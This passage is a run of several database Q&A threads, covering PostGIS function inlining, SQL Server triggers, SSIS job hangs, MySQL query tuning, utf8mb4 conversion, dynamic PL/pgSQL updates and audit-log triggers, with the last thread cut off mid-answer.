    AS 'MODULE_PATHNAME', 'temporalp_at_period'
    LANGUAGE C IMMUTABLE STRICT;

This function can be used in queries like the following one

EXPLAIN
SELECT atPeriod(Trip, Period) AS Trip
FROM QueryPeriods, berlinmod_trip
-- Call the temporal index if any
WHERE getTime(Trip) && Period

Nested Loop  (cost=0.14..475.50 rows=898 width=32)
  ->  Seq Scan on queryperiods  (cost=0.00..3.00 rows=100 width=24)
  ->  Index Scan using berlinmod_trip_temporal_gist_idx on berlinmod_trip  (cost=0.14..2.30 rows=18 width=104)
        Index Cond: (gettime(trip) && queryperiods.period)

As it is done in PostGIS, I would like to use inlining for implicitly calling any potential indexes. That would allow the user to remove the WHERE clause in the above query. I rewrote the definition of the function atPeriod() above as follows.

CREATE FUNCTION _atPeriod(tpointp, tsrange)
    RETURNS tpointp
    AS 'MODULE_PATHNAME', 'temporalp_at_period'
    LANGUAGE C IMMUTABLE STRICT;
CREATE OR REPLACE FUNCTION atPeriod(tpointp, tsrange)
    RETURNS tpointp
    AS 'SELECT @extschema@._atPeriod($1,$2) WHERE getTime($1) OPERATOR(@extschema@.&&) $2'
    LANGUAGE 'sql' IMMUTABLE;

However with the new definition there is no implicit index call

EXPLAIN
SELECT atPeriod(Trip, Period) AS Trip
FROM QueryPeriods, berlinmod_trip

Nested Loop  (cost=0.00..47224.47 rows=179700 width=32)
  ->  Seq Scan on berlinmod_trip  (cost=0.00..49.97 rows=1797 width=104)
  ->  Materialize  (cost=0.00..3.50 rows=100 width=24)
        ->  Seq Scan on queryperiods  (cost=0.00..3.00 rows=100 width=24)

In PostgreSQL there are several conditions to enable inlining SQL functions: https://wiki.postgresql.org/wiki/Inlining_of_SQL_functions

However, I was not able to understand why this doesn't work for the function atPeriod().

Notice that this works for boolean functions. I have another function intersects() which generalizes the ST_Intersects topological operator:

CREATE OR REPLACE FUNCTION _intersects(tpointp, geometry)
    RETURNS boolean
    AS 'MODULE_PATHNAME', 'intersects_tpointp_geom'
    LANGUAGE C IMMUTABLE STRICT;
CREATE OR REPLACE FUNCTION intersects(tpointp, geometry)
    RETURNS boolean
    AS 'SELECT trajectory($1) OPERATOR(@extschema@.&&) $2 AND @extschema@._intersects($1,$2)'
    LANGUAGE 'sql' IMMUTABLE;

In this case implicit index calls are performed as shown in the following query.

EXPLAIN
SELECT *
FROM QueryRegions R, berlinmod_trip T
WHERE intersects(R.Geom, T.Trip)

Nested Loop  (cost=0.14..278.50 rows=60 width=959)
  ->  Seq Scan on queryregions r  (cost=0.00..13.00 rows=100 width=847)
  ->  Index Scan using berlinmod_trip_spatial_idx on berlinmod_trip t  (cost=0.14..2.65 rows=1 width=112)
        Index Cond: (r.geom && trajectory(trip))
        Filter: _intersects(r.geom, trip)

I think you may be making this more complex then need be, two alternative methods of storing trajectories.

Suggested method: create a LINESTRING M with each POINT M's M dimension representing the offset since t0. This is the method that PostGIS standardizes around with ST_IsValidTrajectory, ST_DistanceCPA, and ST_AddMeasure
Normalize to a time interval with a LINESTRING: every POINT on the LINESTRING represents t0 + numpoints-1

Both of those scheme can be indexed simply and easily.


Insert trigger checking for specific column I have got an insert trigger on a table. The table got a field named 'source'.
The source field could be populated with values b or left empty as in null.
i want the trigger only to fire if the source field is not populated with 'b'.
The below trigger codes deosnt give me error, but never runs.
if i remove the if condition it runs, but i need to check for value of 'b' before it should run.

Create TRIGGER TriggerName
ON tableName
FOR INSERT
AS
BEGIN

DECLARE @source nvarchar(50)

SELECT                  @source = (select source  from inserted)

             if not (@source = 'b')
                begin

                INSERT INTO ATable
                (field1,field2,field3)
                SELECT i.field1,i.field2,i.field3
                FROM inserted i

                    end
end

I've tried to re-create what you're doing on my local instance, here's what I've got:-

I created two tables, one for the data to be inserted to and one for the trigger to insert to:-

CREATE TABLE dbo.[TriggerTest]
(Source         CHAR(1),
 TestColSource  CHAR(1));
GO

CREATE TABLE dbo.[InsertTest]
(TestColDest CHAR(1));
GO

I then created this trigger (as @Aaron Bertrand says, removing the variable assignment):-

CREATE TRIGGER TRG_TriggerTest
ON dbo.[TriggerTest]
FOR INSERT
AS
BEGIN
    INSERT INTO dbo.[InsertTest]
        (TestColDest)
    SELECT i.TestColSource
    FROM inserted i
    WHERE i.SOURCE <> 'b'
END

I then inserted some data into the initial table:-

INSERT INTO dbo.[TriggerTest]
SELECT 'a', '1'
UNION
SELECT 'b', '2'
UNION
SELECT 'c', '3'

The trigger should only insert the 1 & 3 values from the above statement, but this can be checked by:-

SELECT TestColDest FROM dbo.[InsertTest]

Hopefully that should give you a basis for your trigger. I'm sure the guys on here will correct me if I've got something wrong.


How to automatically increment several Integer columns based on alphabetically ordered text columns? Hello and thank you very much in advance for taking the time to look at my question. My question is as followed, I have a large dataset in PostgreSQL, recorded in a similar fashion as it is written in the table.
The Province, District and Town column are constantly updated and new rows are added. I would like to have incremental numbers for the Province_id, District_id and Town_id automatically assigned whenever a new entry is made in one of the text columns. Preferablly, the numbers would update dynamically whenever a new Province, District or Town is entered (alphabetically).
Could I use triggers to make this automatically? I have also looked a lot at things like the dense_rank() functions (but is this a good method to follow?) I would be very happy to hear if there are alternative solutions. Thank you.

Assumption:
These ID values will only be used for output/display and will not be used as Unique Keys or in other tables (as Foreign Keys), otherwise you'll need a lot of cascade updates and loss of performance as a single row insert would result in updating a huge part of the table and many other tables as well.
Solution:
You don't have to store these values. You can use window functions, e.g. DENSE_RANK() to calculate these number when needed.
SELECT
    province, district, town,
    DENSE_RANK() OVER (ORDER BY province)
        AS province_id,
    DENSE_RANK() OVER (PARTITION BY province
                       ORDER BY district)
        AS district_id,
    DENSE_RANK() OVER (PARTITION BY province, district
                       ORDER BY town)
        AS town_id
FROM
    tableX AS t
 ;


SQL agent jobs hung state (SSIS jobs hung) For a couple of weeks I have been experiencing a weird issue on SQL Server 2016 SP1. We migrated a critical server from SQL Server 2008 R2 to SQL Server 2016 with SP1 using side-by-side. We migrated all the databases, logins, db mail, jobs etc.

We have around 150 jobs deployed in SQL Server Agent. At the time of database cut-over (Saturday 5 AM ET) from SQL Server 2008 R2 to SQL Server 2016, few SSIS jobs are in a hung state. Jobs have neither succeeded nor failed; they were showing as in the 'executing' state. We found this kind of behavior only for SSIS jobs (around 39 jobs); the remaining T-SQL jobs are fine.

Interestingly, we could see hung state over transaction log backup as well (since we had created TRN backup job from maintenance plan which run every 1 hour). We had verified the event viewer logs, SQL Server Agent logs, error logs and everything and nothing captured in the logs. We had checked the server health status and everything is up and running fine (CPU 5%, memory 15%) and also verified the locking, blocking status and we couldn't find anything wrong.

Once we restarted the SQL Server Agent, these jobs started working smoothly without any issue and also running successfully on their schedules. After a week, the same issue was repeated at same time (Saturday 5 AM ET), that set of jobs went into the hung state.

Again we verified the logs, blocking...etc. Nothing captured and again restarted the SQL Server Agent service from configuration manager then it got resolved. Here our intention is it's a production server and users reported that if jobs not run then data would become stale. Below log was for all hung jobs after restarting the agent.

Unable to terminate process 1208 launched by step 1 of job
0xB4CF917BAF53234796F42A38EC45B871 (reason: Access is denied)

This issue recurred at Saturday 5 AM EST after the weekly maintenance job (rebuild index--> update stats). Duration of this job is 1 hr 50 mins. After that we found that a few SSIS jobs hung. We don't say it's the exact cause. I was changed the schedule to Sunday 5 AM EST to get the root cause. We had verified the wait types as well and everything was fine.

Finally we came to know that a vendor changed the security key at SFTP side and one batch which caused for remaining jobs hung. So our developers changed the security key manually at appropriate step in SQL job then job running fine. we again facing one issue here in test env.

We didn't accept the key in FTP and it's keep on running (executing) but not affecting to other jobs in SQL Server 2008 R2. Here the scenario is completely different in SQL Server 2016 as this FTP job which is affecting to remaining SQL agent jobs to hung.

Can anyone please guide me if any patch which we required to apply on server for permanent fix or it's a bug in SQL Server 2016?

Jobs working fine over SQL Server 2008 R2 in scheduled manner except batch (FTP) job keep on executing mode. We had migrated all the jobs to SQL Server 2016 and we found the issue when SFTP batch job started executing then after all remaining jobs goes to hung.

We noticed similar behavior few times within a year on one of the production server with SQL Server 2014 SP2 installed.

Symptom: All SQL Agent jobs that run SSIS packages suddenly hanged in running state, while no real activity on data engine side.

Resolution: Both times this issue was resolved by pushing all pending windows updated patches to be installed. After this SQL Agent was restarted and jobs behavior was normal again.

Seems the issue is somehow related to .NET stack on a server and OS that we obtain via WSUS


"WITH REPLACE" Restore failing with same logical filenames Does using WITH REPLACE when the logical filenames match (to avoid using WITH MOVE) fail when the backup is from a different version of SQL?  I have a backup from SQL 2008 but when I attempted to restore it using WITH REPLACE on a SQL 2012 folder, despite the Logical filenames matching on the database backup and the database I'm replacing, it's failing giving me the 'directory lookup' error.

This is the answer I've found for why the file autolocation doesn't work in SQL 2012 for me.  I don't believe it has anything to do with the backup being from SQL 2008.

  In SQL Server 2012, during the restore of a full backup without MOVE clauses that indicate the target physical location of each file, on top of an existing database, the file autolocation algorithm requires: not only a logical name match between the file declared in the backupset and any given file in the existing database, but also their file GUID, file ID, and create LSN must match. If any of those attributes don’t match, the physical location used for that logical file is the one stored in the backupset. This additional requirement was implemented to fix this last scenario I just exposed which was considered a defect.

This was taken from this MSDN article: http://blogs.msdn.com/b/ialonso/archive/2012/06/08/sql-server-changes-behavior-in-cases-where-file-autolocation-is-invoked-during-the-planning-phase-of-a-full-restore-with-replace-clause.aspx


Optimizing a query on Mysql 5.5.24 I am trying to optimize the query

SELECT
  CONCAT(lastname, ', ', title, ' ', firstname) AS fullName,
  e.lastname,
  e.firstname,
  e.email,
  e.userType,
  e.userID
FROM
  employee e,
  employee_categories ec
WHERE
 1 = 1

which is taking 20 seconds to run. The employee table has 6000 records(number of employees) and employee_categories table has 1000 records. Both tables are indexed and index is the primary key in both tables. The index type is unique and index method is BTREE.

I tried

SELECT
  SQL CACHE CONCAT(lastname, ', ', title, ' ', firstname) AS fullName,
  e.lastname,
  e.firstname,
  e.email,
  e.userType,
  e.userID
FROM
  employee e,
  employee_categories ec
WHERE
  1 = 1

I set query_cache_size to 32MB, ensured have_query_cache is set to Yes, query_cache_type is set to 1. I am using MySql 5.5.24 with InnoDB as storage engine

What else can I try?

Any suggestions would be appreciated.

Without some way of tying the two tables together, you are asking for 6 million rows (6000*1000).

Instead of FROM employee e, employee_categories ec, you need something like

FROM employee e
JOIN employee_categories ec  ON e.category = ec.category

AND... be sure category (or whatever it is called) is indexed (perhaps PRIMARY KEY) in one of the tables.

Those changes should speed it up by a factor of 1000 or so.

The Query cache is irrelevant (and generally should be turned off).


SQL Server hangs during backup on EC2 Once and then our SQL Server will "hang" during its weekly full backup. When this happens, external connections start to timeout. The symptoms are:

Connections timeout
The sqlservr.exe process sits at usual memory levels (47gb, 12gb left to OS), but ~0-5% CPU (normal = ~30%) with the occasional spike of ~25% for a few seconds, then going back down to 0-5%.
I can connect to the database using SSMS, but no queries respond, can't get list of databases, can't access DMVs - while not timing out, I get no results at any point. Same with DAC connection.
Nothing else running on the server, it's a dedicated SQL box.

The server is an i2.2xlarge EC2 server with SQL 2012 Standard Edition, running on Windows Server 2012 R2.

Our backup schedule consists of daily differentials and weekly fulls, and this issue has always occurred during the full backup. By simply going through the backup files on disk I can see that it completed a couple of smaller databases (<200MBs) and then never completed one of the bigger DBs (~100GB, typical compressed size = 10GB).

While this is going on, I can remote into the machine just fine, network is good and all disks seem to perform nominally.

The timeline of what happens looks like this:

0300AM: DBCC CHECKDB is run on all databases, all OK.
0345AM: BACKUP is started on the ~100GB database.
0347AM: SQL Server has encountered 1 occurrence(s) of I/O requests taking longer than 15 seconds to complete on file [XXX] in database id 7.  The OS file handle is 0x00000000000010D4.  The offset of the latest long I/O is: 0x000002dbbd0000
Repeat ~20 times
0351AM: Time out occurred while waiting for buffer latch -- type 2, bp 0000000BE55A9CC0, page 1:1864895, stat 0x40d, database id: 102, allocation unit id: 7493989815628529664, task 0x0000000B91125088 : 0, waittime 300 seconds, flags 0x1a, owning task 0x0000000B91125088. Continuing to wait.
Repeat ~5 hours & 500k times

The timeouts are not just from the database being backed up, but from all databases. Usually this backup procedures finishes up in 1-2 hours.

After about 5 hours we give up on it, as all external connections are failing. Attempting to stop SQL Server from the service control panel simply hangs, trying to stop. Attempting to kill the process results in an "Access denied" message - we usually have full access to kill the process, and it's been tested afterwards - the Access Denied message only comes during these events. After some time we have to reboot the machine physically as we can't get rid of the stuck sqlservr.exe process. Once the machine comes up, all is running flawlessly and all CHECKDB's come back clean. We the initiate a new full backup and it completes as expected.

Looking at the Windows events logs, around 0347AM we see "xenvbd" logging entries, though with no description. We also see "disk" logging entries - The IO operation at logical block address 0x14a4e070 for Disk 2 (PDO name: \Device\00000033) was retried. These events continue for the duration - ~5 hours.

Disk 2 is our data drive. Disk 3 is our backup drive, but we see no mentions of it in the log. Both drives are SSD EBS drives.

So far my theory is that the EBS drives get clogged up causing IO to bunch up severely. However, even so, I don't understand why that'd cause SQL Server to somehow get stuck on itself, not responding to anything. When I remote into the server, while this is going on, I can access the disks justs fine. Could a huge backpile of IO requests be causing this? Am I missing some crucial EC2 tuning settings? Any tips on what to do, besides moving off of EC2? I'm pretty sure the root cause is EBS, but seeing as this is working flawlessly 99.99% of the time, I'd really like to find a way to avoid this issue.

We are having a similar problem when we conduct backups. It looks as though the disk reads are maxing out the EBS connection.

I think the problem is down to the Throughput limits on an instance type. Check the max bandwidth column here:

http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSOptimized.html

The only solution seems to be switching to a different instance type with more throughput. Have you found any other solutions?


MSSQL - Insert Into adding data into the middle of the table? A bit of a random one here... I've got a basic table that I'm using for temporary data inserts - and for that reason, I don't need or want a unique ID - however, I'm seeing odd behaviour! (or it feels odd to me at least)
If I insert data into the table, and then immediately run a select statement on the same table (no ordering going on) - the new row ends up in the middle of the results - how / why ?
This isn't a problem for me - I don't particularly care how it orders the data for this particular table (and I'm aware we could add a unique column, PK etc, autoinc identifier etc to handle this situation) - but it's just something I've never seen before - I'm convinced that on the hundreds of occasions I've done this previously, new data always ends up at the bottom of the list! - Am I going mad? is this normal? is there a way to always insert data to the end ?
Thanks
Chris

There is no "middle of the table" - a table is an unordered set of rows. Think of it as a bag of marbles - if you empty it on the floor, can you predict which marble will stop moving first, last, etc.?
If you don't use ORDER BY in your query, SQL Server is free to return the data in any order it chooses, and it will do based on what is most efficient. This won't necessarily align with order of insert, especially if you have a clustered index that is unrelated.
If you want a select to return a predictable order, use an ORDER BY (which may require adding a column like an identity column or an auto-generated datetime column.)
If you want predictable order without using ORDER BY, you are pretty much out of luck. You could use a naturally increasing key for your clustered index, which will make it more likely to observe that order, but SQL Server still doesn't have to return data in that sequence, and it could change at any time due to changes in indexes, stats, etc. See #3 here.
What you remember from all of your previous experiences probably involved a clustered index on an identity column, which is highly likely to exhibit that behavior without any other influencing factors.


Specific text search in SQL? For an assignment, we are doing select statements using Shakespeare's works in PG Admin. I must find which character, and in what work, said a specific phrase. I'm stuck with the following code:

select workid, charid from paragraph

where plaintext like 'rose'

In which I'm trying to find who said "A rose by any other name would smell as sweet." Any tips?

Figured it out. Because the line given isn't the same as written, the following query worked:

select workid, charid, wordcount from paragraph
where plaintext like '%rose%'
and plaintext like '%other%'
and plaintext like '%name%'
and plaintext like '%smell%'
and plaintext like '%sweet%';


Does innodb_online_alter_log_max_size took memory from ram or Hard Disk I got an Mysql (5.7) error while altering huge table (400 G) for adding an index:

ERROR 1799 (HY000): Creating index 'FTS_DOC_ID_INDEX' required more than 'innodb_online_alter_log_max_size' bytes of modification log. Please try again.

I guess that I had to increase innodb_online_alter_log_max_size but I'm afraid that it while took it from RAM cause it is already full enough.

N.B: I had enough space on tmpdir path.

As I read the manual:

  Specifies an upper limit on the size of the temporary log files used during online DDL operations for InnoDB tables. There is one such log file for each index being created or table being altered. This log file stores data inserted, updated, or deleted in the table during the DDL operation. The temporary log file is extended when needed by the value of innodb_sort_buffer_size, up to the maximum specified by innodb_online_alter_log_max_size. If a temporary log file exceeds the upper size limit, the ALTER TABLE operation fails and all uncommitted concurrent DML operations are rolled back. Thus, a large value for this option allows more DML to happen during an online DDL operation, but also extends the period of time at the end of the DDL operation when the table is locked to apply the data from the log.

That refers to disk space, not RAM.  And it will grow as needed, not start out at the setting.  innodb_online_alter_log_max_size should perhaps be set to something less than the disk space available, but otherwise not too small.

innodb_sort_buffer_size defaults to 1MB; there is probably no reason to change that.  In certain operations, this much space is allocated in RAM.  Probably one of those will be allocated (in RAM) for each index on the table.


I have 10 tables in schema icmdb2admin each table has one column named pdfname i need to update the values in the pdfname column with L1.pdfname.V1 DECLARE
    i record;
BEGIN
    FOR i IN SELECT 'icmdb2admin.' || tablename as tbp
             FROM pg_tables
             WHERE schemaname = 'icmdb2admin'
               and tablename <> 'department_master'
               and tablename <> 'year'
               and tablename <> 'user_login'
               and tablename <> 'filetype'
               -- and other conditions, if needed
    LOOP
         EXECUTE  UPDATE 'i.tbp' SET "pdfname" = 'L1.'|| pdfname || '.V1';
    END LOOP;
END;

You can retrieve the list of tables that have one column name pdfname by using the information_schema.columns view. It makes for clearer code.

Let's assume this is your (very simplified) scenario:

CREATE SCHEMA icmdb2admin ;
SET search_path = icmdb2admin ;

CREATE TABLE t1 (pdfname varchar(100)) ;
CREATE TABLE t2 (pdfname varchar(100)) ;
CREATE TABLE "with an awful name"(pdfname varchar(100)) ;
CREATE TABLE "no no"(i integer);

INSERT INTO t1 VALUES('hi'),('you');
INSERT INTO t2 VALUES('ha'),('you');
INSERT INTO "with an awful name" VALUES('he'),('you');

You get the list of the tables you want by means of the following query:

SELECT
    table_name
FROM
    information_schema.columns c
WHERE
    column_name = 'pdfname'
    AND table_schema = 'icmdb2admin' ;

That will return

| table_name         |
| :----------------- |
| t2                 |
| with an awful name |
| t1                 |

You then will use this information to EXECUTE dynamic command using PLPGSQL with any of the table names retrieved from the previous query:

DO
$$
BEGIN
    EXECUTE format('
        UPDATE
             "icmdb2admin"."%s"
        SET
             pdfname = ''L1.''|| pdfname || ''.V1''
        ',
        't1') ;
END;
$$

That will change (only) table t1.

NOTE: The format function allows for better readability, and adequate type formatting and prevention of SQL injection than plain concatenation.

At this point, to update all the concerned tables, you would use a loop, in a fashion similar to the one you already devised:

DO
$$
DECLARE
    tbl character varying ; -- Not the whole record, only what you're interested in
BEGIN
    for tbl IN
        SELECT
            table_name
        FROM
            information_schema.columns
        WHERE
            column_name = 'pdfname'
            AND table_schema = 'icmdb2admin'
            /* AND whatever else you need */
    loop
        -- raise notice '%', tbl ;  -- debugging tool
        EXECUTE format('
            UPDATE
                 "icmdb2admin"."%s"
            SET
                 pdfname = ''L1.''|| pdfname || ''.V1''
            ',
            tbl) ;
    end loop ;
END ;
$$

And your tables will now have:

SELECT * FROM t1;

| pdfname         |
| :-------------- |
| L1.L1.hi.V1.V1  |
| L1.L1.you.V1.V1 |

SELECT * FROM t2;

| pdfname   |
| :-------- |
| L1.ha.V1  |
| L1.you.V1 |

SELECT * FROM "with an awful name";

| pdfname   |
| :-------- |
| L1.he.V1  |
| L1.you.V1 |

You can check a step-by-step example (with some limitations due to restrictions on dbfidle at dbfiddle here

NOTE: table t1 has been update twice in this example, on purpose. To avoid this possible problems, you could probably rewrite the UPDATEs adding a WHERE NOT pdfname LIKE 'L1.%.V1' to prevent double updates during testing.

References in PostgreSQL documentation:

EXECUTE
format
information_schema.columns


Optimize slave .ibd tables, where slave has innodb_file_per_table and master does not We are trying to reclaim file space on our replication server. The space we want to reduce are .ibd files on the slave. We have a simple Master -> Slave (read only) replication setup, for some reason, we have innodb_file_per_table set up on the slave but not the master. So on the slave we have very large .ibd files, but not on the slave, of tables that have already been purged, but have not reduced in size.

Is there a way we can reduce those .ibdfiles on the slave with out dropping the db and re importing it?

Would running optimize table on the master reduce them?

Thanks

Running OPTIMIZE TABLE on all the tables in the Master is a very bad idea. Why ???

Since the Master has innodb_file_per_table disabled, running OPTIMIZE TABLE on all the table in the Master would make ibdata1 grow. I discussed this in my old StackOverflow post like 5 years ago : Howto: Clean a mysql InnoDB storage engine?

  Can I run OPTIMIZE TABLE ?

  Unfortunately, running OPTIMIZE TABLE against an InnoDB
  table stored in the shared table-space file ibdata1 does two things:

  Makes the table’s data and indexes contiguous inside ibdata1
  Makes ibdata1 grow because the contiguous data and index pages are appended to ibdata1

You could run OPTIMIZE TABLE on the Slave as follows:

OPTIMIZE_SCRIPT=/tmp/OptimizeInnoDBTables.sql
MYSQL_USER=root
MYSQL_PASS=rootpassword
MYSQL_CONN="-u${MYSQL_USER} -p${MYSQL_PASS}"
SQL="SELECT CONCAT('OPTIMIZE TABLE ',table_schema,'.',table_name,';')"
SQL="${SQL} FROM information_schema.tables"
SQL="${SQL} WHERE engine='InnoDB' ORDER BY (data_length+index_length) DESC"
mysql ${MYSQL_CONN} -ANe"${SQL}" > ${OPTIMIZE_SCRIPT}
mysql ${MYSQL_CONN} < ${OPTIMIZE_SCRIPT}

This will shrink every .ibd file. Again, DO NOT RUN THIS ON THE MASTER !!!

GIVE IT A TRY !!!


How to easily convert utf8 tables to utf8mb4 in MySQL 5.5 I have a database which now needs to support 4 byte characters (Chinese). Luckily I already have MySQL 5.5 in production.

So I would just like to make all collations which are utf8_bin to utf8mb4_bin.

I believe there is no performance loss/gain with this change other than a bit of storage overhead.

From my guide How to support full Unicode in MySQL databases, here are the queries you can run to update the charset and collation of a database, a table, or a column:

For each database:

ALTER DATABASE
    database_name
    CHARACTER SET = utf8mb4
    COLLATE = utf8mb4_unicode_ci;

For each table:

ALTER TABLE
    table_name
    CONVERT TO CHARACTER SET utf8mb4
    COLLATE utf8mb4_unicode_ci;

For each column:

ALTER TABLE
    table_name
    CHANGE column_name column_name
    VARCHAR(191)
    CHARACTER SET utf8mb4
    COLLATE utf8mb4_unicode_ci;

(Don’t blindly copy-paste this! The exact statement depends on the column type, maximum length, and other properties. The above line is just an example for a VARCHAR column.)

Note, however, that you cannot fully automate the conversion from utf8 to utf8mb4. As described in step 4 of the abovementioned guide, you’ll need to check the maximum length of columns and index keys, as the number you specify has a different meaning when utf8mb4 is used instead of utf8.

Section 10.1.11 of the MySQL 5.5 Reference Manual has some more information on this.


Optimizing multiple MySQL sub-queries and joins for multiple runs The query (below) that's running is taking ~0.6 sec which normally would be fine but it gets run almost 1300 times for different custids. How can I make it run faster?

Setup:

Mac OS X 10.7.5
MySQL 5.5.27

Query:

select
    pn as productId,
    qty,
    invno as invoiceId,
    invdate as invoiceDate
from
    (select
        trim(pn) as pn,
            qtyord as qty,
            oeinvch.INVNO,
            oeinvch.invdate
    from
        (select
        invno, invdate
        from
            W_OEINVCH
        where
            (invdate between '2013-08-01' and '2013-11-06') and custid = '13651') as oeinvch
        join W_OEINVCD ON oeinvch.invno = W_OEINVCD.invno) as QtyOrdered

Explain Output:

  *************************** 1. row ***************************
             id: 1
    select_type: PRIMARY
          table: <derived2>
           type: ALL
  possible_keys: NULL
            key: NULL
        key_len: NULL
            ref: NULL
           rows: 38
          Extra:
  *************************** 2. row ***************************
             id: 2
    select_type: DERIVED
          table: <derived3>
           type: ALL
  possible_keys: NULL
            key: NULL
        key_len: NULL
            ref: NULL
           rows: 3
          Extra:
  *************************** 3. row ***************************
             id: 2
    select_type: DERIVED
          table: W_OEINVCD
           type: ALL
  possible_keys: NULL
            key: NULL
        key_len: NULL
            ref: NULL
           rows: 1130159
          Extra: Using where; Using join buffer
  *************************** 4. row ***************************
             id: 3
    select_type: DERIVED
          table: W_OEINVCH
           type: ALL
  possible_keys: NULL
            key: NULL
        key_len: NULL
            ref: NULL
           rows: 102437
          Extra: Using where
  4 rows in set (0.58 sec)

UPDATE FROM EDZE'S ANSWER: 06/11/13

Avoiding derived tables. Execution time is increased now to ~4.2 secs.

Query:

  SELECT
      TRIM(W_OEINVCD.pn) as productId,
      W_OEINVCD.qtyord as qty,
      W_OEINVCH.invno as invoiceId,
      W_OEINVCH.invdate as invoiceDate
  FROM
      W_OEINVCH
      JOIN W_OEINVCD
          ON W_OEINVCH.invno = W_OEINVCD.invno
  WHERE
      W_OEINVCH.invdate BETWEEN '2013-08-01' AND '2013-11-06'
      AND W_OEINVCH.custid = '13651'

Explain output:

  *************************** 1. row ***************************
             id: 1
    select_type: SIMPLE
          table: W_OEINVCD
           type: ALL
  possible_keys: NULL
            key: NULL
        key_len: NULL
            ref: NULL
           rows: 1130159
          Extra:
  *************************** 2. row ***************************
             id: 1
    select_type: SIMPLE
          table: W_OEINVCH
           type: ref
  possible_keys: invno
            key: invno
        key_len: 24
            ref: func
           rows: 1
          Extra: Using where
  2 rows in set (0.00 sec)

SHOW CREATE TABLE output:

*************************** 1. row ***************************
       Table: W_OEINVCH
Create Table: CREATE TABLE `W_OEINVCH` (
  `INVNO` char(8) NOT NULL DEFAULT '',
  `INVDATE` date NOT NULL,
  `SHIPDATE` date NOT NULL,
  `OENO` char(8) NOT NULL DEFAULT '',
  `CUSTID` char(8) NOT NULL DEFAULT '',
  KEY `invno` (`INVNO`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8
1 row in set (0.00 sec)

*************************** 1. row ***************************
       Table: W_OEINVCD
Create Table: CREATE TABLE `W_OEINVCD` (
  `invno` varchar(45) DEFAULT NULL,
  `pn` varchar(45) DEFAULT NULL,
  `qtyord` int(11) DEFAULT NULL,
  FULLTEXT KEY `invnoIndex` (`invno`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1
1 row in set (0.00 sec)

Avoid derived tables, like ypercube mentioned.

SELECT
    TRIM(W_OEINVCD.pn) as productId,
    W_OEINVCD.qtyord as qty,
    W_OEINVCH.invno as invoiceId,
    W_OEINVCH.invdate as invoiceDate
FROM
    W_OEINVCH
    JOIN W_OEINVCD
        ON W_OEINVCH.invno = W_OEINVCD.invno
WHERE
    W_OEINVCH.invdate BETWEEN '2013-08-01' AND '2013-11-06'
    AND W_OEINVCH.custid = '13651'


What is the fastest way to (session) lock table? I have some triggers to log changes on a table to Log table.

On insert and delete I add row to the Log table and for update I add two rows.

The log table contain identity column, and I want the 2 update rows to be sequential ( by the the id = identity)

for example:
assuming the following table:

Create table t1 ([name] nvarchar(40) primary key, [value] nvarchar(max))

the log table is:

Create table t1_log
([log_id] identity(1,1),[log_ts] DateTime default GETDATE(),
  [log_action] varchar(20), log_session_id int default @@SPID,
  [name] nvarchar(40), value nvarchar(max))

And I have 3 triggers to update the log:

Create trigger t1_ins on t1 After Insert as
begin
    Insert into t1_log([log_action],[name],[value]) select 'insert', [name], [value] from inserted
end
Go
create trigger t1_del on t1 After delete as
begin
    Insert into t1_log([log_action],[name],[value]) select 'delete', [name], [value] from deleted
end
Go
create trigger t1_upd on t1 After update as
begin
    Insert into t1_log([log_action],[name],[value])
       select [log_action], [name], [value] from (
          (select ROW_NUMBER() OVER (ORDER BY (SELECT 0)) As ROW_ID, 'update from' as [log_action], [name], [value] from deleted)
          UNION
          (select ROW_NUMBER() OVER (ORDER BY (SELECT 0)) As ROW_ID, 'update to' as [log_action], [name], [value] from inserted)
        ) as temp_tbl
     Order By [temp_tbl].ROW_ID, [temp_tbl].[log_action]
end
Go

In this solution, when I do update from several sessions, there is a chance to several updates in the same time and it break the update sequence.
I can see 2 'update from' rows and then two 'update to' rows and I want to prevent it.

The only solution I can think of it to lock the t1_log table in the update trigger using :

Select * from t1_log with (TABLOCKX)

But what if the t1_log have many rows? I guess select * will be slow, and each update will return the selected *.

So I'm using the following:

create trigger t1_upd on t1 After update as
begin
    declare @tt
    Begin transaction

    select @tt=1 from t1_log with (TABLOCKX)

    Insert into t1_log([log_action],[name],[value])
       select [log_action], [name], [value] from (
          (select ROW_NUMBER() OVER (ORDER BY (SELECT 0)) As ROW_ID, 'update from' as [log_action], [name], [value] from deleted)
          UNION
          (select ROW_NUMBER() OVER (ORDER BY (SELECT 0)) As ROW_ID, 'update to' as [log_action], [name], [value] from inserted)
        ) as temp_tbl
     Order By [temp_tbl].ROW_ID, [temp_tbl].[log_action]

     Commit trasaction
end

this works better, but I still wonder if there is a fastest way to lock a table?

To further expand on my comment, here is some sample code for you to look at.  I don't like the idea of introducing intentional locking on what appears to be a core table in your system.  It will effectively slow everyone down to a single-threaded access.

The ideal solution would remove the need to have the update from and update to logging actions in a specific sequence.  You can do this by adding a guid or some other identifier to the log table and use that to group the update from and update to actions together.

This example assumes that [Name] is a constant value and won't be changing.

/** Build up our table and triggers

    Note that I have consolidated the trigger logic into a single trigger
    and the additional column on T1_Log
    **/
CREATE TABLE dbo.T1
    (
    [Name] NVARCHAR(40) PRIMARY KEY NOT NULL
    , [Value] NVARCHAR(MAX) NOT NULL
    )

CREATE TABLE dbo.T1_Log
    (
    Log_ID INT IDENTITY(1,1) NOT NULL PRIMARY KEY
    , Log_ActionGUID UNIQUEIDENTIFIER NOT NULL
    , Log_TS DATETIME DEFAULT GETDATE() NOT NULL
    , Log_Action VARCHAR(20) NOT NULL
    , Log_Session_ID INT DEFAULT @@SPID NOT NULL
    , [Name] NVARCHAR(40) NOT NULL
    , [Value] NVARCHAR(MAX) NOT NULL
    )

GO

CREATE OR ALTER TRIGGER trg_T1_Log ON dbo.T1
    AFTER INSERT, UPDATE, DELETE
AS
BEGIN

    DECLARE @Log_ActionGUID UNIQUEIDENTIFIER = NEWID()

    ;WITH CTE_Actions AS
        (
        SELECT Log_Action = CASE    WHEN D.[name] IS NULL THEN 'insert'
                                    WHEN I.[name] IS NULL THEN 'delete'
                                    ELSE 'update from'
                                    END
            , Log_Sort = 1
            , [Name] = COALESCE(D.[name], I.[name])
            , [Value] = COALESCE(D.[Value], I.[Value])
        FROM inserted AS I
            FULL OUTER JOIN deleted AS D ON D.[Name] = I.[Name]
        UNION ALL
        SELECT 'update to' AS Log_Action
            , Log_Sort = 2
            , I.[Name]
            , I.[Value]
        FROM inserted AS I
